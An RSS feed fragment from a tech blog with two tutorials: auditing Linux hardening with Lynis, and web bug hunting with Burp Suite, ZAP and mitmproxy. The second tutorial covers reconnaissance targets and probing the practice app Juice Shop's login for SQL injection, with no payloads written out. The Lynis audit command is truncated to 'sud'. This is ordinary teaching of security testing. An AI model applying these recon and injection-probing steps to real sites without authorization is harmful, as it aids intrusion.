<p>The post <a href="http://kostacipo.stream/linux-security-auditing-with-lynis/">Linux Security Auditing With Lynis</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="g1-content-narrow g1-typography-xl entry-content">
<h1><b>Installing Lynis</b></h1>
<p>Lynis is an extensible security audit tool for computer systems running Linux, FreeBSD, macOS, OpenBSD, Solaris, and other Unix derivatives. It assists system administrators and security professionals with scanning a system and its security defenses, with the final goal being system hardening.</p>
<p>Lynis is available as a package for most Linux distributions, we can install it by running the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sudo apt install lynis</span></strong></p>
<p>To display all the options and commands available, we can run the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">lynis show options</span></strong></p>
<p>Before we get started with scanning, we need to ensure that Lynis is up to date. To check if we are running the latest version we can run the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<div class="command" data-line="0"><strong><span style="font-family: terminal, monaco, monospace;">sudo lynis update info</span></strong></div>
</div>
</div>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2968 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png" sizes="auto, (max-width: 640px) 100vw, 640px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png 778w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-300x162.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-768x416.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-561x304.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-364x197.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-728x394.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-608x329.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-758x410.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-89x48.png 89w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-177x96.png 177w" alt="" width="640" height="346" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image4-1.png 778w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-300x162.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-768x416.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-561x304.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-364x197.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-728x394.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-608x329.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-758x410.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-89x48.png 89w, https://hackersploit.org/wp-content/uploads/2021/03/image4-1-177x96.png 177w" data-sizes="(max-width: 640px) 100vw, 640px" /></p>
<h2><b>System Auditing With Lynis</b></h2>
<p>To perform a system audit with Lynis we run the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sud</span></strong></p>
<p>Lynis will output a lot of information that will also be stored under the /var/log/lynis.log file for easier access. The summary of the system audit will reveal important information about your system’s security posture and various security misconfigurations and vulnerabilities.</p>
<p>Lynis will also generate output on how these vulnerabilities and misconfigurations can be fixed or tweaked.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2969 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png" sizes="auto, (max-width: 608px) 100vw, 608px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png 952w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-300x201.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-768x514.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-180x120.png 180w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-561x375.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-364x244.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-728x487.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-608x407.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-758x507.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-72x48.png 72w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-143x96.png 143w" alt="" width="608" height="407" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image5-1.png 952w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-300x201.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-768x514.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-180x120.png 180w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-561x375.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-364x244.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-728x487.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-608x407.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-758x507.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-72x48.png 72w, https://hackersploit.org/wp-content/uploads/2021/03/image5-1-143x96.png 143w" data-sizes="(max-width: 608px) 100vw, 608px" /></p>
<p>The output also contains a hardening index score that is rated out of 100, this is used to give you a trackable tangible score of your system’s current security posture.</p>
<p>Lynis will also display any potential warnings that will indicate a severe security vulnerability or misconfiguration that needs to be fixed or patched, in this case, we have no warnings.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-2970 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png" sizes="auto, (max-width: 434px) 100vw, 434px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png 434w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-300x88.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-364x107.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-163x48.png 163w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-326x96.png 326w" alt="" width="434" height="128" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image6-1.png 434w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-300x88.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-364x107.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-163x48.png 163w, https://hackersploit.org/wp-content/uploads/2021/03/image6-1-326x96.png 326w" data-sizes="(max-width: 434px) 100vw, 434px" /></p>
<p>To increase our hardening index score, Lynis provides us with helpful suggestions that detail the various security configurations we need to make.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2967 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png" sizes="auto, (max-width: 629px) 100vw, 629px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png 1100w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-300x186.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-1024x634.png 1024w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-768x475.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-561x347.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-364x225.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-728x451.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-608x376.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-758x469.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-78x48.png 78w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-155x96.png 155w" alt="" width="629" height="390" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image3-1.png 1100w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-300x186.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-1024x634.png 1024w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-768x475.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-561x347.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-364x225.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-728x451.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-608x376.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-758x469.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-78x48.png 78w, https://hackersploit.org/wp-content/uploads/2021/03/image3-1-155x96.png 155w" data-sizes="(max-width: 629px) 100vw, 629px" /></p>
<p>After following the suggestions and making the necessary changes, we can run the system audit with Lynis again.</p>
<p><img loading="lazy" decoding="async" class="alignnone wp-image-2966 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png" sizes="auto, (max-width: 637px) 100vw, 637px" srcset="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png 861w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-300x177.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-768x452.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-561x330.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-364x214.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-728x429.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-608x358.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-758x446.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-82x48.png 82w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-163x96.png 163w" alt="" width="637" height="375" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png" data-srcset="https://hackersploit.org/wp-content/uploads/2021/03/image2-1.png 861w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-300x177.png 300w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-768x452.png 768w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-561x330.png 561w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-364x214.png 364w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-728x429.png 728w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-608x358.png 608w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-758x446.png 758w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-82x48.png 82w, https://hackersploit.org/wp-content/uploads/2021/03/image2-1-163x96.png 163w" data-sizes="(max-width: 637px) 100vw, 637px" /></p>
<p>As shown above, there is a significant improvement in the hardening index score that confirms the changes and configurations we made are applied and effective.</p>
<h2><b>Pentest With Lynis</b></h2>
<p>Lynis also has the ability to simulate a privileged/internal pentest on the system, this can be invoked by using the following command:<br />
<strong><span style="font-family: terminal, monaco, monospace;">sudo lynis &#8211;pentest</span></strong></p>
<p>This will perform a pentest on the system and will output a hardening index score that reflects the overall security posture of the system.</p>
</div>
<p>The post <a href="http://kostacipo.stream/linux-security-auditing-with-lynis/">Linux Security Auditing With Lynis</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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		<title>Security Bug Hunting with Proxies</title>
		<link>http://kostacipo.stream/security-bug-hunting-with-proxies/</link>
					<comments>http://kostacipo.stream/security-bug-hunting-with-proxies/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Sun, 31 Jan 2021 20:19:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Data]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[bug hunting]]></category>
		<category><![CDATA[proxies]]></category>
		<guid isPermaLink="false">http://kostacipo.stream/?p=2022</guid>

					<description><![CDATA[<p>When hunting security issues or checking applications for potential privacy violations, the first tool I reach for is a web proxy. I frequently get asked about the tools I screenshot in these posts, and asked about my process, so I decided to share the basic steps I take to test a web application for security [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/security-bug-hunting-with-proxies/">Security Bug Hunting with Proxies</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<section class="post-content">When hunting security issues or checking applications for potential privacy violations, the first tool I reach for is a web proxy. I frequently get asked about the tools I screenshot in these posts, and asked about my process, so I decided to share the basic steps I take to test a web application for security or privacy issues.</p>
<p>This information is targeted at someone with basic knowledge of the HTTP protocol and how the web works. It also assumes familiarity with common website vulnerability classes like the <a href="https://owasp.org/www-project-top-ten/">OWASP top 10</a>. Some programming helps too, but isn&#8217;t required.</p>
<h2 id="web-attack-proxies">Web Attack Proxies</h2>
<p>Web attack proxies are configured to be an intermediary between your browser and the target site, capturing all requests and responses made between you and the site. This let&#8217;s you quickly inspect data flows, modify data in flight, and automate tests or other tasks. They also typically include a ton of other advanced features, like decoding or encoding data, passive and active vulnerability scans, and more. I&#8217;ll only touch the surface of these options today, but once you start using a proxy it&#8217;s easy to learn more!</p>
<p>There are three that I use on a regular basis:</p>
<ul>
<li><a href="https://portswigger.net/burp">Burp Suite</a>: The industry standard. The community version is limited in many ways, but is still excellent software. This is my normal go-to proxy.</li>
<li><a href="https://www.zaproxy.org/">OWASP ZAP</a>: Fully open source, with many of the same features as Burp. Sometimes it&#8217;s even ahead in some areas.</li>
<li><a href="https://mitmproxy.org/">mitmproxy</a>: I&#8217;ve been trying to do more of my proxy work in mitmproxy lately. It&#8217;s very automateable and fully open source.</li>
</ul>
<h2>&nbsp;</h2>
<h2 id="using-burpsuite">Using BurpSuite</h2>
<p>Let&#8217;s start with Burp. It&#8217;s pretty easy to use and beginner friendly, without sacrificing advanced features. Download it via the link above and fire it up. Once it opens, click through to a temporary project and select the &#8220;proxy&#8221; tab.</p>
<p>You can configure your normal browser to use Burp, by setting the proxy to localhost:8080 and installing the generated Burp certificates (downloaded by navigating in that same browser to localhost:8080), but burp includes a built in chromium browser all setup correctly. I&#8217;d start by clicking the &#8220;intercept is on&#8221; button to disable intercept (it will pause all connections while you inspect the traffic, making the browser appear to be frozen) and then click open browser.</p>
<figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" class="kg-image" src="https://nullsweep.com/content/images/2020/11/burp_proxy_screen.png" alt=""><figcaption>Burp proxy screen</figcaption></figure>
<p>Now, lets try attacking the vulnerable OWASP application Juice shop. Open <a href="https://juice-shop.herokuapp.com/#/">https://juice-shop.herokuapp.com/#/</a> in the burp browser.</p>
<h2 id="reconnaissance">Reconnaissance</h2>
<p>The first step in bug hunting is understanding the application you are testing, and where it might have weaknesses. Normally, I browse around a site clicking various links and looking for areas that look interesting. A few things I immediately check out:</p>
<ul>
<li>Login forms or any kind of authentication flow.</li>
<li>Any forms I can submit (feedback, lead generation, etc). I submit every form with some valid test data so I can store the request in the proxy.</li>
<li>Any link that gives any kind of error (401/Unauthorized can be interesting to look for auth bypass, 500 server errors might indicate something exploitable, etc).</li>
<li>Any URL that looks like it might have a unique ID in it &#8211; thing like site/product/1 or product?id=1 in the URL.</li>
<li>Any page that includes data submitted in the URL or a request on the page, or includes something that looks like a filename or url. Something like view?file=thefile.txt</li>
</ul>
<p>I&#8217;ll sometimes also spin up a scan like dirbuster if the site allows automated tools, but they can be pretty heavy sometimes. A few files to check for manually:</p>
<ul>
<li>.git directories</li>
<li>.htaccess files</li>
<li>robots.txt and anything interesting in it</li>
<li>If you know the software stack, configuration files for that stack.</li>
</ul>
<p>While looking around the site, if something looks particularly interesting, I may dive right into testing. Definitely take note of anything you want to return to.</p>
<p>As you have browsed around in the Burp browser, your &#8220;target&#8221; tab has been filling up with every page visited (request &amp; response is saved) and the proxy-&gt;HTTP History has been also keeping every request in order.</p>
<h2 id="finding-exploiting-a-vulnerability">Finding &amp; Exploiting a Vulnerability</h2>
<p>Juice shop is full of vulnerabilities, so you should find plenty to play with. I&#8217;ll start right into the authentication flow, and submit some fake username to log the request in the proxy.</p>
<p>Juice Shop is interesting in that every request isn&#8217;t stored in the target tab &#8211; so for the login form I have to look at the HTTP request history, since I didn&#8217;t see the post request where I was expecting.</p>
<p>In the below gif, you can see me find the login request, move to the repeater tool, run the request again with normal input, then with some special characters, revealing an error message that indicated SQL injection might be possible.</p>
<figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" class="kg-image" src="https://nullsweep.com/content/images/2020/11/Juice_shop_sqli.gif" alt=""><figcaption>Finding a SQLi vulnerability in Juice Shop</figcaption></figure>
<p>It won&#8217;t always be so simple &#8211; in this case we see a SQL error message clearly. It might also have presented exactly the same information as before (invalid user) while still being vulnerable. Usually, I would probe the form with several different inputs looking for variances in the response before moving on.</p>
<p>Keep in mind that a form like this can have more than just a SQL back end. A key part of testing is forming a mental model of the various technologies in use on the back end, and how they fit together. SQL is pretty common, but I have also seen noSQL (mongo), XML, file system, even network requests from a form like this. Each will have a different attack surface.</p>
<h2 id="let-s-do-the-same-thing-but-with-mitmproxy">Let&#8217;s do the same thing, but with mitmproxy</h2>
<p>If we wanted to automate the above tests in some way, or do any kind of brute forcing, we would need to upgrade to Burp Pro (which is worth it!). But we could also use a different proxy. ZAP works pretty similarly to burp, but mitmproxy looks a little different. Here&#8217;s the same flow in mitmproxy:</p>
<figure class="kg-card kg-image-card kg-card-hascaption"><img decoding="async" class="kg-image" src="https://nullsweep.com/content/images/2020/11/mitmproxy_sqli.gif" alt=""><figcaption>Finding the same bug with mitmproxy</figcaption></figure>
<p>Mitmproxy requires a little extra setup &#8211; you&#8217;ll need to install their CA cert into the browser you are using by navigating to mitm.it once you have the proxy configured in your browser.</p>
<p>It&#8217;s a little harder to follow, because most interaction is with the keyboard. mitmproxy mostly follows vim keybindings. <code>r</code> replay&#8217;s the request, <code>e</code> enters the editor, and the arrow keys or <code>q</code> navigate between screens.</p>
<h2 id="finding-privacy-violations">Finding Privacy Violations</h2>
<p>When testing for privacy issues in applications, the setup is the same: configure the application (or the entire machine) to put all network requests through the proxy. Use the application normally for a while, and monitor the flows.</p>
<p>This won&#8217;t work as well if the application doesn&#8217;t use the HTTP protocol (in which case, network monitoring tools or injecting into the process are required), but I find almost all applications use HTTP primarily.</p>
<p>As you use different functionality in the application or tool, watch the network requests and read through the request and response data carefully. Check URL parameters, cookie information, and data in the request headers and POST data.</p>
<p>This is often where decoding tools come in. Common encodings I have seen (where tools try to hide their privacy violating practices) are base64, Hex, and URL encoding. Noticing what action generates what request can give a hint as to what data is being sent.</p>
<h2 id="conclusions">Conclusions</h2>
<p>And that&#8217;s the basic workflow! Of course, there are many tools that help with finding specific classes of bugs, or help inspect particular tech stacks, or automate particular tests. I think that when first starting to hunt security bugs, it&#8217;s good to understand how to do it manually, then move on to the more powerful tools to automate away the repetitive tasks you find yourself doing.</p>
</section>
<p>The post <a href="http://kostacipo.stream/security-bug-hunting-with-proxies/">Security Bug Hunting with Proxies</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
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